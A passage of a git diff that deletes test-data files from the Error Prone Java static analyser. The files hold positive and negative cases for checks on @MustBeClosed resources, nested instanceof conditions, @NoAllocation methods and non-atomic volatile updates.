try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - - void positiveCase2() { - // BUG: Diagnostic contains: - try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - - void positiveCase3() { - try { - // BUG: Diagnostic contains: - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } finally { - } - } - - void positiveCase4() { - try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { - // BUG: Diagnostic contains: - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - } - - void positiveCase5() { - // BUG: Diagnostic contains: - try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {} - } - - @MustBeClosed - Closeable positiveCase6() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - - @MustBeClosed - Closeable positiveCase7() { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - } - - int existingDeclarationUsesVar() { - // Bug: Diagnostic contains: - try (var result = new Foo().mustBeClosedAnnotatedMethod()) { - return 0; - } - } - - boolean twoCloseablesInOneExpression() { - // BUG: Diagnostic contains: - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { - try (var closeable2 = new Foo().mustBeClosedAnnotatedMethod()) { - return closeable == closeable2; - } - } - } - - void voidLambda() { - // Lambda has a fixless finding because no reasonable fix can be suggested. - // BUG: Diagnostic contains: - Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); - } - - void expressionLambda() { - Supplier supplier = - () -> - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - - void statementLambda() { - Supplier supplier = - () -> { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - }; - } - - void methodReference() { - Supplier supplier = - // TODO(b/218377318): BUG: Diagnostic contains: - new Foo()::mustBeClosedAnnotatedMethod; - } - - void anonymousClass() { - new Foo() { - @MustBeClosed - @Override - public Closeable mustBeClosedAnnotatedMethod() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - }; - } - - void subexpression() { - // BUG: Diagnostic contains: - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { - closeable.method(); - } - } - - void ternary(boolean condition) { - // BUG: Diagnostic contains: - int result; - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { - result = condition ? closeable.method() : 0; - } - } - - int variableDeclaration() { - // BUG: Diagnostic contains: - int result; - try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) { - result = closeable.method(); - } - return result; - } - - void tryWithResources_nonFinal() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) { - try { - closeable = null; - } finally { - closeable.close(); - } - } - } - - void tryWithResources_noClose() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) { - try { - } finally { - } - } - } - - class CloseableFoo implements AutoCloseable { - - @MustBeClosed - CloseableFoo() {} - - // Doesn't autoclose Foo on Stream close. - Stream stream() { - return null; - } - - @Override - public void close() {} - } - - void twrStream() { - // BUG: Diagnostic contains: - try (CloseableFoo closeableFoo = new CloseableFoo(); - Stream stream = closeableFoo.stream()) {} - } - - void constructorsTransitivelyRequiredAnnotation() { - abstract class Parent implements AutoCloseable { - @MustBeClosed - Parent() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - @MustBeClosed - Parent(int i) { - this(); - } - } - - // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed - abstract class ChildDefaultConstructor extends Parent {} - - abstract class ChildExplicitConstructor extends Parent { - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - @MustBeClosed - ChildExplicitConstructor() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - @MustBeClosed - ChildExplicitConstructor(int a) { - super(); - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsNegativeCases.java deleted file mode 100644 index d2320a5c8f2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsNegativeCases.java +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.List; - -/** - * @author mariasam@google.com (Maria Sam) - * @author sulku@google.com (Marsela Sulku) - */ -public class NestedInstanceOfConditionsNegativeCases { - public static void nestedInstanceOfPositiveCases() { - Object objectA = new Object(); - Object objectB = new Object(); - - // different objects - if (objectA instanceof SuperClass) { - if (objectB instanceof DisjointClass) { - System.out.println("yay"); - } - } - - // nested if checks to see if subtype of first - if (objectA instanceof SuperClass) { - if (objectA instanceof SubClass) { - System.out.println("yay"); - } - } - - if (objectA instanceof SuperClass) { - if (objectA instanceof SubClass) { - if (objectB instanceof DisjointClass) { - System.out.println("yay"); - } - } - } - - if (objectA instanceof SuperClass) { - if (objectB instanceof DisjointClass) { - if (objectA instanceof SubClass) { - System.out.println("yay"); - } - } - } - - if (objectA instanceof SuperClass) { - System.out.println("yay"); - } else if (objectA instanceof DisjointClass) { - System.out.println("boo"); - } else if (objectA instanceof String) { - System.out.println("aww"); - } - - if (objectA instanceof SuperClass) { - objectA = "yay"; - if (objectA instanceof String) { - System.out.println(); - } - } - - if (objectA instanceof SuperClass) { - if (objectA instanceof String) { - objectA = "yay"; - } - } - - List ls = new ArrayList(); - ls.add("hi"); - - // even though this could potentially be an error, ls.get(0) can be altered in many ways in - // between the two instanceof statements, therefore we do not match this case - if (ls.get(0) instanceof String) { - if (ls.get(0) instanceof SuperClass) { - System.out.println("lol"); - } - } - } - - /** test class */ - public static class SuperClass {} - ; - - /** test class */ - public static class SubClass extends SuperClass {} - ; - - /** test class */ - public static class DisjointClass {} - ; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsPositiveCases.java deleted file mode 100644 index bb3240ff9a9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsPositiveCases.java +++ /dev/null @@ -1,88 +0,0 @@ -/* Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - * @author sulku@google.com (Marsela Sulku) - */ -public class NestedInstanceOfConditionsPositiveCases { - - public static void nestedInstanceOfPost() { - Object foo = new ClassA(); - Object bar = new ClassB(); - - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - if (foo instanceof ClassB) { - System.out.println("test"); - } - } - - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - System.out.println("test"); - if (foo instanceof ClassB) { - System.out.println("test"); - } - System.out.println("test"); - } - - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - if (foo instanceof ClassB) { - System.out.println("test"); - } - } - } - - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassA) { - // BUG: Diagnostic contains: Nested instanceOf conditions of disjoint types - if (foo instanceof ClassB) { - if (foo instanceof ClassC) { - System.out.println("test"); - } - } - } - - // BUG: Diagnostic contains: Nested instanceOf conditions - if (foo instanceof ClassA) { - if (bar instanceof ClassB) { - if (foo instanceof ClassC) { - System.out.println("test"); - } - } - } - - if (foo instanceof ClassA) { - System.out.println("yay"); - // BUG: Diagnostic contains: Nested instanceOf conditions - } else if (foo instanceof ClassB) { - if (foo instanceof ClassC) { - System.out.println("uh oh"); - } - } - } - - static class ClassA {} - - static class ClassB {} - - static class ClassC {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerNegativeCases.java deleted file mode 100644 index 54d16a31430..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerNegativeCases.java +++ /dev/null @@ -1,547 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.NoAllocation; -import java.util.Arrays; - -/** - * @author agoode@google.com (Adam Goode) - */ -public class NoAllocationCheckerNegativeCases { - // Calling safe methods is fine. - @NoAllocation - public boolean comparison(int n) { - return n > 1; - } - - @NoAllocation - public void callNoAllocationMethod() { - comparison(5); - } - - @NoAllocation - @SuppressWarnings({"foo, bar"}) - public void annotatedWithArray() {} - - @NoAllocation - public boolean arrayComparison(int[] a) { - return a.length > 0 && a[0] > 1; - } - - // Non string operations are fine. - @NoAllocation - public int sumInts(int a, int b) { - return a + b; - } - - @NoAllocation - public int addOne(int a) { - a += 1; - return a; - } - - // Foreach is allowed on arrays. - @NoAllocation - public int forEachArray(int[] a) { - int last = -1; - for (int i : a) { - last = i; - } - return last; - } - - // Varargs is ok if no autoboxing occurs. - @NoAllocation - public int varArgsMethod2(int a, int... b) { - return a + b[0]; - } - - @NoAllocation - public void callVarArgsNoAllocation(int[] b) { - varArgsMethod2(1, b); - } - - @NoAllocation - public Object varArgsMethodObject2(Object a, Object... b) { - return b[0]; - } - - @NoAllocation - public void callVarArgsObject2(Object a, Object[] b) { - varArgsMethodObject2(a, b); - } - - // Unboxing is fine. - @NoAllocation - public void unboxByCalling(Integer i) { - comparison(i); - } - - @NoAllocation - public int binaryUnbox(Integer a, int b) { - return a + b; - } - - // We can call a non-annotated method if we suppress warnings. - @NoAllocation - @SuppressWarnings("NoAllocation") - public void trustMe() { - String s = new String(); - } - - @NoAllocation - public void trusting() { - trustMe(); - } - - // Allocations are allowed in a throw statement. - @NoAllocation - public void throwNew() { - throw new RuntimeException(); - } - - @NoAllocation - public void throwNewArray() { - throw new RuntimeException(Arrays.toString(new int[10])); - } - - @NoAllocation - public void throwMethod() { - throw new RuntimeException(Integer.toString(5)); - } - - @NoAllocation - public void throwStringConcatenation() { - throw new RuntimeException("a" + 5); - } - - @NoAllocation - public void throwStringConcatenation2() { - throw new RuntimeException("a" + Integer.toString(5)); - } - - @NoAllocation - public void throwStringConcatenation3() { - throw new RuntimeException("a" + getInt()); - } - - @NoAllocation - public String throwStringConvCompoundAssign(int i) { - String s = ""; - throw new RuntimeException(s += i); - } - - class IntegerException extends RuntimeException { - public IntegerException(Integer i) { - super(i.toString()); - } - } - - @NoAllocation - public String throwBoxingCompoundAssign(Integer in, int i) { - throw new IntegerException(in += i); - } - - @NoAllocation - public String throwBoxingAssign(Integer in, int i) { - throw new IntegerException(in = i); - } - - @NoAllocation - public String throwBoxingInitialization(final int i) { - throw new RuntimeException() { - Integer in = i; - }; - } - - @NoAllocation - public String throwBoxingCast(int i) { - throw new IntegerException((Integer) i); - } - - @NoAllocation - public String throwBoxingInvocation(int i) { - throw new IntegerException(i); - } - - class VarArgsException extends RuntimeException { - public VarArgsException(int... ints) { - super(Arrays.toString(ints)); - } - } - - @NoAllocation - public String throwBoxingVarArgs(int i) { - throw new VarArgsException(i, i, i, 4); - } - - @NoAllocation - public String throwBoxingUnary(Integer i) { - throw new IntegerException(i++); - } - - @NoAllocation - public void callGenericMethod() { - String foo = "foo"; - String bar = genericMethod(foo); - } - - @NoAllocation - private static T genericMethod(T value) { - return value; - } - - // All of the positive cases with @NoAllocation removed are below. - public int[] newArray(int size) { - return new int[size]; - } - - public int[] arrayInitializer(int a, int b) { - int[] array = {a, b}; - return array; - } - - public int[] returnArrayInitializer(int a, int b) { - return new int[] {a, b}; - } - - public String newString(String s) { - return new String(s); - } - - public String allocateString() { - return new String(); - } - - public String getString() { - return allocateString(); - } - - public int getInt() { - return 1; - } - - public String stringConvReturn(int i) { - return "" + i; - } - - public String stringConvAssign(int i) { - String s = "" + i; - return s; - } - - public String stringConvAssign2(int i) { - String s = ""; - s = s + i; - return s; - } - - public String stringConvAssign3(int i) { - String s = ""; - s = i + s; - return s; - } - - public String stringConvReturnMethod() { - String s = "" + getInt(); - return s; - } - - public String stringConvCompoundAssign(int i) { - String s = ""; - s += i; - return s; - } - - public String stringConvCompoundReturnMethod() { - String s = ""; - s += getInt(); - return s; - } - - public String doubleString(String s) { - return s + s; - } - - public String doubleStringCompound(String s) { - s += s; - return s; - } - - public int iteration(Iterable a) { - int result = 0; - for (Object o : a) { - result++; - } - return result; - } - - public Integer assignBox(int i) { - Integer in; - in = i; - return in; - } - - public Integer initializeBox(int i) { - Integer in = i; - return in; - } - - public Integer initializeBoxLiteral() { - Integer in = 0; - return in; - } - - public int castBox(int i) { - int in = (Integer) i; - return in; - } - - public Integer returnBox(int i) { - return i; - } - - public int unBox(Integer i) { - return i; - } - - public void callBox(int i) { - unBox(i); - } - - public int unBox2(int i1, Integer i2) { - return i2; - } - - public void callBox2(int i1, int i2) { - unBox2(i1, i2); - } - - public int unBox3(Integer i1, int i2) { - return i1; - } - - public void callBox3(int i1, int i2) { - unBox3(i1, i2); - } - - public int varArgsMethod(int a, int... b) { - return a + b[0]; - } - - public void callVarArgs0() { - varArgsMethod(0); - } - - public void callVarArgs() { - varArgsMethod(1, 2); - } - - public void callVarArgs2() { - varArgsMethod(1, 2, 3); - } - - public Object varArgsMethodObject(Object a, Object... b) { - return b[0]; - } - - public void callVarArgsObject(Object a, Object[] b) { - varArgsMethodObject(a, b[0]); - } - - public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) { - varArgsMethodObject(a, b); - } - - public int forBox(int[] a) { - int count = 0; - for (Integer i = 0; i < a.length; i++) { - count++; - } - return count; - } - - public void arrayBox(Integer[] a, int i) { - a[0] = i; - } - - public int preIncrementBox(Integer i) { - ++i; - return i; - } - - public int postIncrementBox(Integer i) { - i++; - return i; - } - - public int preDecrementBox(Integer i) { - --i; - return i; - } - - public int postDecrementBox(Integer i) { - i--; - return i; - } - - public int forEachBox(int[] a) { - int last = -1; - for (Integer i : a) { - last = i; - } - return last; - } - - public void arrayPreIncrementBox(Integer[] a) { - ++a[0]; - } - - public void arrayPostIncrementBox(Integer[] a) { - a[0]++; - } - - public void arrayPreDecrementBox(Integer[] a) { - --a[0]; - } - - public void arrayPostDecrementBox(Integer[] a) { - a[0]--; - } - - public int compoundBox(Integer a, int b) { - a += b; - return a; - } - - public void arrayCompoundBox(Integer[] a, int b) { - a[0] += b; - } - - public void andAssignmentBox(Integer i1, Integer i2) { - i1 &= i2; - } - - public void divideAssignmentBox(Integer i1, Integer i2) { - i1 /= i2; - } - - public void leftShiftAssignmentBox(Integer i1, Integer i2) { - i1 <<= i2; - } - - public void minusAssignmentBox(Integer i1, Integer i2) { - i1 -= i2; - } - - public void multiplyAssignmentBox(Integer i1, Integer i2) { - i1 *= i2; - } - - public void orAssignmentBox(Integer i1, Integer i2) { - i1 |= i2; - } - - public void plusAssignmentBox(Integer i1, Integer i2) { - i1 += i2; - } - - public void remainderAssignmentBox(Integer i1, Integer i2) { - i1 %= i2; - } - - public void rightShiftAssignmentBox(Integer i1, Integer i2) { - i1 >>= i2; - } - - public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) { - i1 >>>= i2; - } - - public void xorAssignmentBox(Integer i1, Integer i2) { - i1 ^= i2; - } - - public Object doClone() throws CloneNotSupportedException { - return clone(); - } - - @NoAllocation - public String throwForeach(final Iterable a) { - throw new RuntimeException() { - private void f() { - for (Object o : a) { - a.toString(); - } - } - }; - } - - public interface NoAllocationInterface { - @NoAllocation - void method(); - } - - public static class NoAllocationImplementingClass implements NoAllocationInterface { - @Override - @NoAllocation - public void method() {} - } - - public static class NoAllocationImplementingClassWithSuppression - implements NoAllocationInterface { - @Override - @SuppressWarnings("NoAllocation") - public void method() {} - } - - public abstract static class NoAllocationAbstractClass { - @NoAllocation - abstract void method(); - } - - public static class NoAllocationConcreteClass extends NoAllocationAbstractClass { - @Override - @NoAllocation - void method() {} - } - - public static class NoAllocationConcreteClassWithSuppression extends NoAllocationAbstractClass { - @Override - @SuppressWarnings("NoAllocation") - void method() {} - } - - public static class NoAllocationParentClass implements NoAllocationInterface { - @Override - @NoAllocation - public void method() {} - } - - public static class NoAllocationSubclass extends NoAllocationParentClass { - @Override - @NoAllocation - public void method() {} - } - - public static class NoAllocationSubclassWithSuppression extends NoAllocationParentClass { - @Override - @SuppressWarnings("NoAllocation") - public void method() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerPositiveCases.java deleted file mode 100644 index 193046ecd9a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerPositiveCases.java +++ /dev/null @@ -1,522 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.NoAllocation; - -/** - * @author agoode@google.com (Adam Goode) - */ -public class NoAllocationCheckerPositiveCases { - // Trigger on new array. - @NoAllocation - public int[] newArray(int size) { - // BUG: Diagnostic contains: @NoAllocation - // Allocating a new array - return new int[size]; - } - - @NoAllocation - public int[] arrayInitializer(int a, int b) { - // BUG: Diagnostic contains: @NoAllocation - // Allocating a new array - int[] array = {a, b}; - return array; - } - - @NoAllocation - public int[] returnArrayInitializer(int a, int b) { - // BUG: Diagnostic contains: @NoAllocation - // Allocating a new array - return new int[] {a, b}; - } - - // Trigger on new. - @NoAllocation - public String newString(String s) { - // BUG: Diagnostic contains: @NoAllocation - // Constructing - return new String(s); - } - - // Trigger calling a method that does allocation. - public String allocateString() { - return new String(); - } - - @NoAllocation - public String getString() { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - return allocateString(); - } - - // Trigger on string conversion. - @NoAllocation - public int getInt() { - return 1; - } - - @NoAllocation - public String stringConvReturn(int i) { - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - return "" + i; - } - - @NoAllocation - public String stringConvAssign(int i) { - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - String s = "" + i; - return s; - } - - @NoAllocation - public String stringConvAssign2(int i) { - String s = ""; - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - s = s + i; - return s; - } - - @NoAllocation - public String stringConvAssign3(int i) { - String s = ""; - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - s = i + s; - return s; - } - - @NoAllocation - public String stringConvReturnMethod() { - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - String s = "" + getInt(); - return s; - } - - @NoAllocation - public String stringConvCompoundAssign(int i) { - String s = ""; - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - s += i; - return s; - } - - @NoAllocation - public String stringConvCompoundReturnMethod() { - String s = ""; - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - s += getInt(); - return s; - } - - // Trigger on string concatenation. - @NoAllocation - public String doubleString(String s) { - // BUG: Diagnostic contains: @NoAllocation - // String concatenation - return s + s; - } - - @NoAllocation - public String doubleStringCompound(String s) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - s += s; - return s; - } - - // Trigger on foreach with non-array. - @NoAllocation - public int iteration(Iterable a) { - int result = 0; - // BUG: Diagnostic contains: @NoAllocation - // Iterating - for (Object o : a) { - result++; - } - return result; - } - - // Trigger on autoboxing. - @NoAllocation - public Integer assignBox(int i) { - Integer in; - // BUG: Diagnostic contains: @NoAllocation - // Assigning a primitive value - in = i; - return in; - } - - @NoAllocation - public Integer initializeBox(int i) { - // BUG: Diagnostic contains: @NoAllocation - // Initializing a non-primitive - Integer in = i; - return in; - } - - @NoAllocation - public Integer initializeBoxLiteral() { - // BUG: Diagnostic contains: @NoAllocation - // Initializing a non-primitive - Integer in = 0; - return in; - } - - @NoAllocation - public int castBox(int i) { - // BUG: Diagnostic contains: @NoAllocation - // Casting a primitive - int in = (Integer) i; - return in; - } - - @NoAllocation - public Integer returnBox(int i) { - // BUG: Diagnostic contains: @NoAllocation - // Returning a primitive - return i; - } - - @NoAllocation - public int unBox(Integer i) { - return i; - } - - @NoAllocation - public void callBox(int i) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - unBox(i); - } - - @NoAllocation - public int unBox2(int i1, Integer i2) { - return i2; - } - - @NoAllocation - public void callBox2(int i1, int i2) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - unBox2(i1, i2); - } - - @NoAllocation - public int unBox3(Integer i1, int i2) { - return i1; - } - - @NoAllocation - public void callBox3(int i1, int i2) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - unBox3(i1, i2); - } - - @NoAllocation - public int varArgsMethod(int a, int... b) { - return a + b[0]; - } - - @NoAllocation - public void callVarArgs0() { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethod(0); - } - - @NoAllocation - public void callVarArgs() { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethod(1, 2); - } - - @NoAllocation - public void callVarArgs2() { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethod(1, 2, 3); - } - - @NoAllocation - public Object varArgsMethodObject(Object a, Object... b) { - return b[0]; - } - - @NoAllocation - public void callVarArgsObject(Object a, Object[] b) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethodObject(a, b[0]); - } - - @NoAllocation - public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - varArgsMethodObject(a, b); - } - - @NoAllocation - public int forBox(int[] a) { - int count = 0; - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - for (Integer i = 0; i < a.length; i++) { - count++; - } - return count; - } - - @NoAllocation - public void arrayBox(Integer[] a, int i) { - // BUG: Diagnostic contains: @NoAllocation - // Assigning a primitive value - a[0] = i; - } - - @NoAllocation - public int preIncrementBox(Integer i) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - ++i; - return i; - } - - @NoAllocation - public int postIncrementBox(Integer i) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - i++; - return i; - } - - @NoAllocation - public int preDecrementBox(Integer i) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - --i; - return i; - } - - @NoAllocation - public int postDecrementBox(Integer i) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - i--; - return i; - } - - @NoAllocation - public int forEachBox(int[] a) { - int last = -1; - // BUG: Diagnostic contains: @NoAllocation - // Iterating - for (Integer i : a) { - last = i; - } - return last; - } - - @NoAllocation - public void arrayPreIncrementBox(Integer[] a) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - ++a[0]; - } - - @NoAllocation - public void arrayPostIncrementBox(Integer[] a) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - a[0]++; - } - - @NoAllocation - public void arrayPreDecrementBox(Integer[] a) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - --a[0]; - } - - @NoAllocation - public void arrayPostDecrementBox(Integer[] a) { - // BUG: Diagnostic contains: @NoAllocation - // Pre- and post- increment/decrement - a[0]--; - } - - @NoAllocation - public int compoundBox(Integer a, int b) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - a += b; - return a; - } - - @NoAllocation - public void arrayCompoundBox(Integer[] a, int b) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - a[0] += b; - } - - @NoAllocation - public void andAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 &= i2; - } - - @NoAllocation - public void divideAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 /= i2; - } - - @NoAllocation - public void leftShiftAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 <<= i2; - } - - @NoAllocation - public void minusAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 -= i2; - } - - @NoAllocation - public void multiplyAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 *= i2; - } - - @NoAllocation - public void orAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 |= i2; - } - - @NoAllocation - public void plusAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 += i2; - } - - @NoAllocation - public void remainderAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 %= i2; - } - - @NoAllocation - public void rightShiftAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 >>= i2; - } - - @NoAllocation - public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 >>>= i2; - } - - @NoAllocation - public void xorAssignmentBox(Integer i1, Integer i2) { - // BUG: Diagnostic contains: @NoAllocation - // Compound assignment - i1 ^= i2; - } - - // Cloning is right out. - @NoAllocation - public Object doClone() throws CloneNotSupportedException { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - return clone(); - } - - // Throwing doesn't exempt through method declarations. - @NoAllocation - public String throwForeach(final Iterable a) { - throw new RuntimeException() { - @NoAllocation - private void f() { - // BUG: Diagnostic contains: @NoAllocation - // Iterating - for (Object o : a) { - // BUG: Diagnostic contains: @NoAllocation - // Calling a method - a.toString(); - } - } - }; - } - - public interface NoAllocationInterface { - @NoAllocation - void method(); - } - - public static class NoAllocationImplementingClass implements NoAllocationInterface { - @Override - // BUG: Diagnostic contains: @NoAllocation - public void method() {} - } - - public abstract static class NoAllocationAbstractClass { - @NoAllocation - abstract void method(); - } - - public static class NoAllocationConcreteClass extends NoAllocationAbstractClass { - @Override - // BUG: Diagnostic contains: @NoAllocation - void method() {} - } - - public static class NoAllocationParentClass implements NoAllocationInterface { - @Override - @NoAllocation - public void method() {} - } - - public static class NoAllocationSubclass extends NoAllocationParentClass { - @Override - // BUG: Diagnostic contains: @NoAllocation - public void method() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonAtomicVolatileUpdateNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonAtomicVolatileUpdateNegativeCases.java deleted file mode 100644 index 8a7cf2916fa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonAtomicVolatileUpdateNegativeCases.java +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** Positive test cases for {@code NonAtomicVolatileUpdate} checker. */ -public class NonAtomicVolatileUpdateNegativeCases { - - private volatile int myVolatileInt = 0; - private int myInt = 0; - private volatile String myVolatileString = ""; - private String myString = ""; - - public void incrementNonVolatile() { - myInt++; - ++myInt; - myInt += 1; - myInt = myInt + 1; - myInt = 1 + myInt; - - myInt = myVolatileInt + 1; - myVolatileInt = myInt + 1; - - myString += "update"; - myString = myString + "update"; - } - - public void decrementNonVolatile() { - myInt--; - --myInt; - myInt -= 1; - myInt = myInt - 1; - } - - public synchronized void synchronizedIncrement() { - myVolatileInt++; - ++myVolatileInt; - myVolatileInt += 1; - myVolatileInt = myVolatileInt + 1; - myVolatileInt = 1 + myVolatileInt; - - 